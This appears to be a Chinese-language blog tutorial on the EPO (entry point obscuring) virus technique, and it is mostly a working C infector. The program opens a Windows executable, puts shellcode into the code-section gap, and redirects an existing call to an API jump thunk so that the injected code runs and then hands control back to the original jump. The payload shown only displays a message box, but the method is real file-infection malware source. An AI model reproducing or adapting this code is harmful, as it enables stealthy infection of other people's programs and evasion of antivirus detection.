EPO技術

什麼是EPO?
EPO是EntryPoint Obscuring技術的簡寫,意即入口模糊技術,該技術改變了傳統的修改PE
頭部的入口點,使其指向病毒代碼入口而使你的代碼得以執行的典型方法。

  1. /*
  2. 要插入的反彙編代碼thunk code:
  3. 00401006    .   60                   PUSHAD
  4. 00401007    .   9C                   PUSHFD
  5. 00401008    .   E8 00000000          CALL msg.0040100D
  6. 0040100D    $   5B                   POP EBX
  7. 0040100E    .   81EB 0D104000        SUB EBX,msg.0040100D
  8. 00401014    .   6A 00                PUSH 0
  9. 00401016    .   8D83 30104000        LEA EAX,DWORD PTR DS:[EBX+401030]
  10. 0040101C    .   50                   PUSH EAX
  11. 0040101D    .   50                   PUSH EAX
  12. 0040101E    .   6A 00                PUSH 0
  13. 00401020    .   B8 78563412          MOV EAX,12345678             ;這裏感染前會被替換成正確的MessageBoxA的地址
  14. 00401025    .   FFD0                 CALL EAX
  15. 00401027    .   9D                   POPFD
  16. 00401028    .   61                   POPAD
  17. 00401029    .   FF25 3A104000        JMP DWORD PTR DS:[40103A]    ;跳到API
  18. 0040102F       90                   NOP
  19. 00401030    .   72 6F 62 69 6E 68 3>ASCII "robinh00d",0
  20. */
  21. #include <windows.h>
  22. #include <stdio.h>
  23. #pragma comment(lib,"kernel32.lib")
  24. #pragma comment(lib,"user32.lib")
  25. char szHostFile[] = "c:\\hello.exe" ;
  26. PIMAGE_DOS_HEADER pImageDosHeader ;
  27. PIMAGE_NT_HEADERS pImageNtHeaders ;
  28. PIMAGE_SECTION_HEADER pImageSectionHeader ;
  29. unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
  30.                              "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
  31.                              "\x8d\x83\x30\x10\x40\x00\x50\x50"
  32.                              "\x6a\x00\xb8\x78\x56\x34\x12\xff"
  33.                              "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
  34.                              "\x00\x90\x72\x6f\x62\x69\x6e\x68"
  35.                              "\x30\x30\x64\x00" ;
  36. int main()
  37. {
  38.      HANDLE hFile ;
  39.      HANDLE hMap ;
  40.      LPVOID pMapping ;
  41.      int dwGapSize ;
  42.      unsigned char *pGapEntry ;
  43.      int i ;
  44.      PROC MsgBox ;
  45.      DWORD OldEntry ;
  46.      int x = 0x18 ;
  47.      int vir_len ;
  48.      unsigned char *pSearch ;
  49.      DWORD *dwCallNextAddr ;
  50.      DWORD *dwCallDataAddr ;
  51.      DWORD dwCodeDistance ;
  52.      DWORD *dwJmpAddr ;
  53.      DWORD dwJmpData ;
  54.      DWORD dwJmpVA ;
  55.      //:::
  56.      hFile = CreateFile(szHostFile,
  57.                          GENERIC_READ | GENERIC_WRITE,
  58.                          FILE_SHARE_READ | FILE_SHARE_WRITE,
  59.                          NULL,
  60.                          OPEN_EXISTING,
  61.                          FILE_ATTRIBUTE_NORMAL,
  62.                          NULL) ;
  63.                         
  64.      if (hFile==INVALID_HANDLE_VALUE)
  65.      {
  66.          printf("Open host file failed!\n") ;
  67.          return -1 ;
  68.      }
  69.     
  70.      hMap = CreateFileMapping(hFile,
  71.                              NULL,
  72.                              PAGE_READWRITE,
  73.                              0,
  74.                              0,
  75.                              NULL) ;
  76.      if (!hMap)
  77.      {
  78.          printf("Create file mapping falied!\n") ;
  79.          return -1 ;
  80.      }
  81.     
  82.      pMapping = MapViewOfFile(hMap,
  83.                          FILE_MAP_ALL_ACCESS,
  84.                          0,
  85.                          0,
  86.                          0) ;
  87.      if (!pMapping)
  88.      {
  89.          printf("Map view of file failed!\n") ;
  90.          return -1 ;
  91.      }
  92.     
  93.      //::::::打開目標宿主文件,先檢測文件是否PE格式,定位到代碼的末尾
  94.      pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
  95.      if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
  96.      {
  97.          pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
  98.          if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
  99.          {
  100.              //:::是合法的PE文件
  101.              //:::定位到節表頭
  102.              pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
  103.                                                              pImageDosHeader->e_lfanew+
  104.                                                              sizeof(IMAGE_NT_HEADERS)) ;
  105.              //:::計算第一個節的空隙大小
  106.              dwGapSize = (int)pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
  107.             
  108.              //:::如果代碼縫隙小於thunk code的大小則感染失敗
  109.              if ((int)sizeof(thunkcode)>(int)dwGapSize)
  110.              {
  111.                  printf("no more space to fill!\n") ;
  112.                  goto Close ;
  113.                 
  114.              }
  115.              //:::定位到代碼末尾
  116.              pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
  117.                                              (DWORD)pMapping+
  118.                                              pImageSectionHeader->Misc.VirtualSize) ;
  119.             
  120.              OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
  121.                          pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
  122.              MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;
  123.              //修改爲當前系統的MessageBoxA地址
  124.              for (i=3;i>=0;i--)
  125.              {
  126.                  thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
  127.                  x -= 8 ;
  128.              }
  129.              x = 24 ;
  130.             
  131.              vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
  132.             
  133.              pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
  134.                          (DWORD)pMapping) ;
  135.                         
  136.              //:::搜索call指令(0xe8)
  137.              for (i=0;i<vir_len;i++)
  138.              {
  139.                  if (pSearch[i]==0xe8)
  140.                  {
  141.                      //:::call指令操作數地址
  142.                      dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
  143.                      //:::call下條指令地址
  144.                      dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
  145.                      //:::jmp指令地址
  146.                      dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
  147.                      //:::Jmp指令在內存的虛擬地址VA
  148.                      dwJmpVA = (DWORD)dwJmpAddr-
  149.                                  ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
  150.                                  pImageNtHeaders->OptionalHeader.ImageBase+
  151.                                  pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
  152.                      //:::取jmp操作數,返回的時候使用
  153.                      dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;
  154.                      if ((*dwJmpAddr&0xffff)==0x25ff)
  155.                      {
  156.                          //:::修改call操作數
  157.                          dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
  158.                          *dwCallDataAddr = dwCodeDistance ;
  159.                          //:::原jmp裏的操作數,替換到thunk code的末尾
  160.                          for (i=3;i>=0;i--)
  161.                          {
  162.                              thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
  163.                              x -= 8 ;
  164.                          }
  165.                          //把thunk code寫入目標宿主程序
  166.                          for (i=0;i<sizeof(thunkcode);i++)
  167.                          {
  168.                              pGapEntry[i] = thunkcode[i] ;
  169.                          }
  170.                          break ;
  171.                      }
  172.                  }
  173.                 
  174.              }
  175.             
  176.          }
  177.      }
  178.      else
  179.      {
  180.          printf("Invalid file format!\n") ;
  181.      }
  182.      Close:
  183.      UnmapViewOfFile(pMapping) ;
  184.      CloseHandle(hMap) ;
  185.      CloseHandle(hFile) ;
  186.     
  187.      return 0 ;
  188. }
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章